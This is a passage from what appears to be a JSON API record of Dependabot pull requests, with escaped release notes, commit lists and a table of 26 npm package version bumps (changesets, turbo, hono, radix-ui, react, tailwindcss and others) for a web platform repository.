href=\"https://redirect.github.com/vitest-dev/vitest/issues/10564\"\u003evitest-dev/vitest#10564\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587\"\u003e\u003c!-- raw HTML omitted --\u003e(934b0)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/compare/v4.1.8...v4.1.9\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/db616d227b6e0cb07a94f5d1bba262ee95db7e46\"\u003e\u003ccode\u003edb616d2\u003c/code\u003e\u003c/a\u003e chore: release v4.1.10 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10718\"\u003e#10718\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/bae52b5112a6fd8200101b88bf8af9685d077295\"\u003e\u003ccode\u003ebae52b5\u003c/code\u003e\u003c/a\u003e fix(vm): fix external module resolve error with deps optimizer query for enco...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a7a61e78c7d0718f00173cff6800a91a344457d4\"\u003e\u003ccode\u003ea7a61e7\u003c/code\u003e\u003c/a\u003e chore: release v4.1.9 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10598\"\u003e#10598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/934b0f587cb61d8338d83f525295322692a2db40\"\u003e\u003ccode\u003e934b0f5\u003c/code\u003e\u003c/a\u003e fix(pool): prevent test run hang on worker crash (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10543\"\u003e#10543\u003c/a\u003e) [backport to v4] (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7fb29651afbae2a9b0cefe6c031a9308f168ac60\"\u003e\u003ccode\u003e7fb2965\u003c/code\u003e\u003c/a\u003e fix(browser): wait for orchestrator readiness before resolving browser sessio...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/a5180190c1be7089e3705e3dd9e84fea118d09d3\"\u003e\u003ccode\u003ea518019\u003c/code\u003e\u003c/a\u003e fix: fix \u003ccode\u003eimportOriginal\u003c/code\u003e with optimizer and query import [backport to v4] (#...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v4.1.10/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `autoprefixer` from 10.5.0 to 10.5.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/releases\"\u003eautoprefixer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003e-webkit-fill-available\u003c/code\u003e before \u003ccode\u003e-moz-available\u003c/code\u003e, so Firefox\nwill use \u003ccode\u003e-webkit-\u003c/code\u003e version which is closer to \u003ccode\u003estretch\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003egrid-area\u003c/code\u003e span reset for overriding areas (by \u003ca href=\"https://github.com/puneetdixit200\"\u003e\u003ccode\u003e@​puneetdixit200\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/blob/main/CHANGELOG.md\"\u003eautoprefixer's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003e-webkit-fill-available\u003c/code\u003e before \u003ccode\u003e-moz-available\u003c/code\u003e, so Firefox\nwill use \u003ccode\u003e-webkit-\u003c/code\u003e version which is closer to \u003ccode\u003estretch\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003egrid-area\u003c/code\u003e span reset for overriding areas (by \u003ca href=\"https://github.com/puneetdixit200\"\u003e\u003ccode\u003e@​puneetdixit200\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/e99e38122ce706747c903ef321a3c1df2d7ada3e\"\u003e\u003ccode\u003ee99e381\u003c/code\u003e\u003c/a\u003e Release 10.5.2 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/98de3f5238ba92ce3bbf1a36b52cafcb44cddcfb\"\u003e\u003ccode\u003e98de3f5\u003c/code\u003e\u003c/a\u003e Move -webkit-fill-available before -moz-available to get a closer to spec res...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/8fe2513502248c84ea5a6c35a3f843cb9dd7e682\"\u003e\u003ccode\u003e8fe2513\u003c/code\u003e\u003c/a\u003e Release 10.5.1 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/60ea6516dbf9efa9fe2dfeddac6b638904a93e52\"\u003e\u003ccode\u003e60ea651\u003c/code\u003e\u003c/a\u003e Update release process\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/cbd4a70f5fad6b5325f31836161ed70b5837a915\"\u003e\u003ccode\u003ecbd4a70\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/ffae49ff54e1a487124116844d538016aa809449\"\u003e\u003ccode\u003effae49f\u003c/code\u003e\u003c/a\u003e fix: reset grid area spans when overriding areas (\u003ca href=\"https://redirect.github.com/postcss/autoprefixer/issues/1549\"\u003e#1549\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/d90ad86a4e5f938c0e11cf15d1cf3ced900b94cb\"\u003e\u003ccode\u003ed90ad86\u003c/code\u003e\u003c/a\u003e Fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/a0f701bae5104043fc971452dc29e7adf1fc227a\"\u003e\u003ccode\u003ea0f701b\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/bb935eb1b990468b8c368fcba0453e26ed45af28\"\u003e\u003ccode\u003ebb935eb\u003c/code\u003e\u003c/a\u003e Fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/e63efe462908e74825c7a42e8af2d365b5745a65\"\u003e\u003ccode\u003ee63efe4\u003c/code\u003e\u003c/a\u003e Move to pnpm 11\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/autoprefixer/compare/10.5.0...10.5.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for autoprefixer since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Halildeu/platform-web/pull/912","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Halildeu%2Fplatform-web/issues/912","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/912/packages"},{"uuid":"4879736577","node_id":"PR_kwDOQ7bryM7xX5E-","number":23,"state":"closed","title":"chore(deps): bump the minor-and-patch group across 1 directory with 26 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-07-15T11:29:42.000Z","author_association":null,"state_reason":null,"created_at":"2026-07-14T04:04:13.000Z","updated_at":"2026-07-15T11:29:43.000Z","time_to_close":113129,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"minor-and-patch","update_count":26,"packages":[{"name":"@changesets/changelog-github","old_version":"0.5.2","new_version":"0.7.0","repository_url":"https://github.com/changesets/changesets"},{"name":"@changesets/cli","old_version":"2.29.8","new_version":"2.31.0","repository_url":"https://github.com/changesets/changesets"},{"name":"turbo","old_version":"2.7.4","new_version":"2.10.5","repository_url":"https://github.com/vercel/turborepo"},{"name":"jiti","old_version":"2.6.1","new_version":"2.7.0","repository_url":"https://github.com/unjs/jiti"},{"name":"drizzle-orm","old_version":"0.38.4","new_version":"0.45.2","repository_url":"https://github.com/drizzle-team/drizzle-orm"},{"name":"hono","old_version":"4.11.4","new_version":"4.12.30","repository_url":"https://github.com/honojs/hono"},{"name":"@aws-sdk/client-s3","old_version":"3.971.0","new_version":"3.1086.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"@aws-sdk/s3-request-presigner","old_version":"3.971.0","new_version":"3.1086.0","repository_url":"https://github.com/aws/aws-sdk-js-v3"},{"name":"mqtt","old_version":"5.14.1","new_version":"5.15.2","repository_url":"https://github.com/mqttjs/MQTT.js"},{"name":"tsx","old_version":"4.21.0","new_version":"4.23.1","repository_url":"https://github.com/privatenumber/tsx"},{"name":"@radix-ui/react-accordion","old_version":"1.2.12","new_version":"1.2.16","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dialog","old_version":"1.1.15","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dropdown-menu","old_version":"2.1.16","new_version":"2.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-navigation-menu","old_version":"1.2.14","new_version":"1.2.18","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-scroll-area","old_version":"1.2.10","new_version":"1.2.14","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-separator","old_version":"1.1.8","new_version":"1.1.11","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-slot","old_version":"1.2.4","new_version":"1.3.0","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tabs","old_version":"1.1.13","new_version":"1.1.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tooltip","old_version":"1.2.8","new_version":"1.2.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"geist","old_version":"1.5.1","new_version":"1.7.2","repository_url":"https://github.com/vercel/geist-font"},{"name":"react","old_version":"19.2.3","new_version":"19.2.7","repository_url":"https://github.com/facebook/react"},{"name":"@types/react","old_version":"19.2.8","new_version":"19.2.17","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"react-dom","old_version":"19.2.3","new_version":"19.2.7","repository_url":"https://github.com/facebook/react"},{"name":"@tailwindcss/postcss","old_version":"4.1.18","new_version":"4.3.2","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"postcss","old_version":"8.5.6","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"tailwindcss","old_version":"4.1.18","new_version":"4.3.2","repository_url":"https://github.com/tailwindlabs/tailwindcss"}],"path":null,"ecosystem":"npm"},"body":"Bumps the minor-and-patch group with 26 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@changesets/changelog-github](https://github.com/changesets/changesets) | `0.5.2` | `0.7.0` |\n| [@changesets/cli](https://github.com/changesets/changesets) | `2.29.8` | `2.31.0` |\n| [turbo](https://github.com/vercel/turborepo) | `2.7.4` | `2.10.5` |\n| [jiti](https://github.com/unjs/jiti) | `2.6.1` | `2.7.0` |\n| [drizzle-orm](https://github.com/drizzle-team/drizzle-orm) | `0.38.4` | `0.45.2` |\n| [hono](https://github.com/honojs/hono) | `4.11.4` | `4.12.30` |\n| [@aws-sdk/client-s3](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3) | `3.971.0` | `3.1086.0` |\n| [@aws-sdk/s3-request-presigner](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages/s3-request-presigner) | `3.971.0` | `3.1086.0` |\n| [mqtt](https://github.com/mqttjs/MQTT.js) | `5.14.1` | `5.15.2` |\n| [tsx](https://github.com/privatenumber/tsx) | `4.21.0` | `4.23.1` |\n| [@radix-ui/react-accordion](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/accordion) | `1.2.12` | `1.2.16` |\n| [@radix-ui/react-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dialog) | `1.1.15` | `1.1.19` |\n| [@radix-ui/react-dropdown-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dropdown-menu) | `2.1.16` | `2.1.20` |\n| [@radix-ui/react-navigation-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/navigation-menu) | `1.2.14` | `1.2.18` |\n| [@radix-ui/react-scroll-area](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/scroll-area) | `1.2.10` | `1.2.14` |\n| [@radix-ui/react-separator](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/separator) | `1.1.8` | `1.1.11` |\n| [@radix-ui/react-slot](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/slot) | `1.2.4` | `1.3.0` |\n| [@radix-ui/react-tabs](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tabs) | `1.1.13` | `1.1.17` |\n| [@radix-ui/react-tooltip](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tooltip) | `1.2.8` | `1.2.12` |\n| [geist](https://github.com/vercel/geist-font/tree/HEAD/packages/next) | `1.5.1` | `1.7.2` |\n| [react](https://github.com/facebook/react/tree/HEAD/packages/react) | `19.2.3` | `19.2.7` |\n| [@types/react](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react) | `19.2.8` | `19.2.17` |\n| [react-dom](https://github.com/facebook/react/tree/HEAD/packages/react-dom) | `19.2.3` | `19.2.7` |\n| [@tailwindcss/postcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss) | `4.1.18` | `4.3.2` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.6` | `8.5.19` |\n| [tailwindcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss) | `4.1.18` | `4.3.2` |\n\n\nUpdates `@changesets/changelog-github` from 0.5.2 to 0.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/changesets/changesets/releases\"\u003e@​changesets/changelog-github's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​changesets/changelog-github\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.7.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1255\"\u003e#1255\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/94578cf164aa7abcb12b97dd3a55d12a324f4fe8\"\u003e\u003ccode\u003e94578cf\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/Kauhsa\"\u003e\u003ccode\u003e@​Kauhsa\u003c/code\u003e\u003c/a\u003e! - Added \u003ccode\u003edisableThanks\u003c/code\u003e option\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​changesets/changelog-github\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.6.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1850\"\u003e#1850\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/fd0bc2e997a7bf603415489d10fcac0ca129badf\"\u003e\u003ccode\u003efd0bc2e\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mixelburg\"\u003e\u003ccode\u003e@​mixelburg\u003c/code\u003e\u003c/a\u003e! - Linkify issue references in changelog entries.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1810\"\u003e#1810\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/27fd8f41dddafcc2e96e7df39dca04d92f916a0a\"\u003e\u003ccode\u003e27fd8f4\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/hirasso\"\u003e\u003ccode\u003e@​hirasso\u003c/code\u003e\u003c/a\u003e! - Replace deprecated \u003ccode\u003eString.prototype.trimRight\u003c/code\u003e with \u003ca href=\"https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd\"\u003e\u003ccode\u003eString.prototype.trimEnd\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/changesets/changesets/commit/d4b8ad8158fe4d900abc5052dacaa8be1f41a232\"\u003e\u003ccode\u003ed4b8ad8\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/changesets/changesets/commit/e462d892af560d0e3cf5d2f04da230751fbd05ca\"\u003e\u003ccode\u003ee462d89\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​changesets/get-github-info\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.8.0\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/d1ef2d8cc11f86042a82f0cf7b125021e24dafc4\"\u003e\u003ccode\u003ed1ef2d8\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1950\"\u003e#1950\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/7af587636b8e793cc43fc6a52d32598193fcb68e\"\u003e\u003ccode\u003e7af5876\u003c/code\u003e\u003c/a\u003e Restrict \u003ccode\u003epublish\u003c/code\u003e job to the \u003ccode\u003enpm\u003c/code\u003e env (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1972\"\u003e#1972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/ff767d2da25173bcab643826702b2af74cbf08cf\"\u003e\u003ccode\u003eff767d2\u003c/code\u003e\u003c/a\u003e Sync config-file-options documentation with schema.json and source code (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1683\"\u003e#1683\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/951094babb7c356536c243e9cca0faa3ec86360a\"\u003e\u003ccode\u003e951094b\u003c/code\u003e\u003c/a\u003e fix: pin 2 unpinned action(s) (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1915\"\u003e#1915\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/94578cf164aa7abcb12b97dd3a55d12a324f4fe8\"\u003e\u003ccode\u003e94578cf\u003c/code\u003e\u003c/a\u003e Added \u003ccode\u003edisableThanks\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1255\"\u003e#1255\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/d87334df92a36788e778b21e2bc603beb754f0d5\"\u003e\u003ccode\u003ed87334d\u003c/code\u003e\u003c/a\u003e Support dark mode banner in readme (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1943\"\u003e#1943\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/87472a757062402ca121bd168d693a1be866cf45\"\u003e\u003ccode\u003e87472a7\u003c/code\u003e\u003c/a\u003e Update .vscode/settings.json (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1944\"\u003e#1944\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/317a373aef2639e4ca2804f20aeb4af5338c41ca\"\u003e\u003ccode\u003e317a373\u003c/code\u003e\u003c/a\u003e Disable \u003ccode\u003epublish_pr\u003c/code\u003e job\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/9cce6db18ddecbf7f9cded45254b9905b19a7516\"\u003e\u003ccode\u003e9cce6db\u003c/code\u003e\u003c/a\u003e Version Packages (\u003ca href=\"https://redirect.github.com/changesets/changesets/issues/1897\"\u003e#1897\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/d2121dc3d86b55f76de6022ccfcde843ed4b884a\"\u003e\u003ccode\u003ed2121dc\u003c/code\u003e\u003c/a\u003e Fix npm auth for path-based registries during publish by preserving configure...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/changesets/changesets/compare/@changesets/read@0.5.2...@changesets/changelog-github@0.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​changesets/changelog-github\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@changesets/cli` from 2.29.8 to 2.31.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/changesets/changesets/releases\"\u003e@​changesets/cli's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​changesets/cli\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.31.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1889\"\u003e#1889\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/96ca062272605c14f77a64043f50a0a3a278c57f\"\u003e\u003ccode\u003e96ca062\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mixelburg\"\u003e\u003ccode\u003e@​mixelburg\u003c/code\u003e\u003c/a\u003e! - Error on unsupported flags for individual CLI commands and print the matching command usage to make mistakes easier to spot.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1873\"\u003e#1873\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/42943b74d7a455ed03b93dd85e1c0a15f45db37f\"\u003e\u003ccode\u003e42943b7\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mixelburg\"\u003e\u003ccode\u003e@​mixelburg\u003c/code\u003e\u003c/a\u003e! - Respond to \u003ccode\u003e--help\u003c/code\u003e on all subcommands. Previously, \u003ccode\u003e--help\u003c/code\u003e was only handled when it was the sole argument; passing it alongside a subcommand (e.g. \u003ccode\u003echangeset version --help\u003c/code\u003e) would silently execute the command instead. Now \u003ccode\u003e--help\u003c/code\u003e always exits early and prints per-command usage when a known subcommand is provided, or the general help text otherwise.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/changesets/changesets/commit/d2121dc3d86b55f76de6022ccfcde843ed4b884a\"\u003e\u003ccode\u003ed2121dc\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e! - Fix npm auth for path-based registries during publish by preserving configured registry URLs instead of normalizing them.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1888\"\u003e#1888\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/036fdd451367226d0f2cd8af1e0a7f37a65e3464\"\u003e\u003ccode\u003e036fdd4\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mixelburg\"\u003e\u003ccode\u003e@​mixelburg\u003c/code\u003e\u003c/a\u003e! - Fix several \u003ccode\u003echangeset version\u003c/code\u003e issues with workspace protocol dependencies. Valid explicit \u003ccode\u003eworkspace:\u003c/code\u003e ranges and aliases are no longer rewritten unnecessarily, and workspace path references are handled correctly during versioning.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1903\"\u003e#1903\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/5c4731fea82ce880500ac5e1c55ff372f7a4efe2\"\u003e\u003ccode\u003e5c4731f\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e! - Gracefully handle stale \u003ccode\u003enpm info\u003c/code\u003e data leading to duplicate publish attempts.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/changesets/changesets/pull/1867\"\u003e#1867\u003c/a\u003e \u003ca href=\"https://github.com/changesets/changesets/commit/f61e7166c349d4934e4acc9b47f3d028c212ecc1\"\u003e\u003ccode\u003ef61e716\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/Andarist\"\u003e\u003ccode\u003e@​Andarist\u003c/code\u003e\u003c/a\u003e! - Improved detection for \u003ccode\u003epublished\u003c/code\u003e state of prerelease-only packages without \u003ccode\u003elatest\u003c/code\u003e dist-tag on GitHub Packages registry.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca 